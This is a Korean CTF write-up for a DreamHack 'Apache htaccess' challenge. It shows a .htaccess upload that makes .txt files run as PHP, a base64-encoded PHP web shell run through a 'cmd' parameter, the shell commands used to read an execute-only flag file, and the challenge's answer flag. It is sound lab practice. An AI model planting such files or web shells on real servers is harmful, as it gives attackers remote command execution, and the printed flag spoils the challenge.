[Solved in under 12 minutes]
LV1 문제중에 뭐 재밌어 보이는거 없나 싶다가 제목에 htaccess 있는거 보고 이건 무조건 웹쉘 올리는 문제다 생각해서 바로 들어왔다.
가보자

파일 올릴수 있는 페이지이다.
제목이 htaccess 이니 설정파일로 문제를 풀으라는 소리 같다
바로 테스트해보자

역시나 .htaccess 파일이 잘 올라간다.
.htaccess는 특정 웹서버 설정을 건들이지 않고 특정 디렉토리에서 설정으로 적용할 수 있는 파일이다.
그러니까 해당 디렉토리에 .htaccess파일을 올리면 그 디렉토리는 파일 내 설정한 값으로 적용이 된다.
고로 Webshell을 올리면 내가 설정한 대로 실행 시킬 수 있다.

php_value auto_prepend_file "php://filter/convert.base64-decode/resource=b64.txt"
AddType application/x-httpd-php .txt
AddHandler application/x-httpd-php .txt
첫번째 거는 우회용인데 지금은 필요없으니 넘어가도 된다.
값을 보면 .txt 파일도 php형식으로 값을 받게 했다.
그로인해 .txt파일에도 php 코드를 적어도 php처럼 인식하는 것이다.

PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXS4iIDI+JjEiKTsgPz4=
간단한 웹쉘 코드를 올려주면
base64로 된 코드이니 간단하게 로 해도 된다.

?cmd=ls
잘 먹힌다!!
하나씩 ../ 경로를 위로 올라가보자

ls ../../../../
flag가 보이는데 이거를 cat으로 봐보자~~

cat ../../../../flag
그런데 값이 안보이는 것이다.
뭐지? 싶다가 권한이 없다니까 ls -al 명령어로 권한을 보자

ls ../../../../
---x--x--x 권한을 보자마자 실행권한밖에 없네?
실행해보자

./../../../../flag
잘 보인다!!!
홈페이지에 넣어주면~?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
DH{9aeba1a6feed3769ae0915b62db2b4872bec98c2}
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
모의침투 사업을 해보니 일반 XSS와 같은 취약점보다 내부망 침투하는 공격들이 되게 중요한 것 같다.
그래서 많은 File-upload 취약점 문제를 풀어 보고 싶다.
DreamHack Apache htaccess Write-up
이상 보고 끝!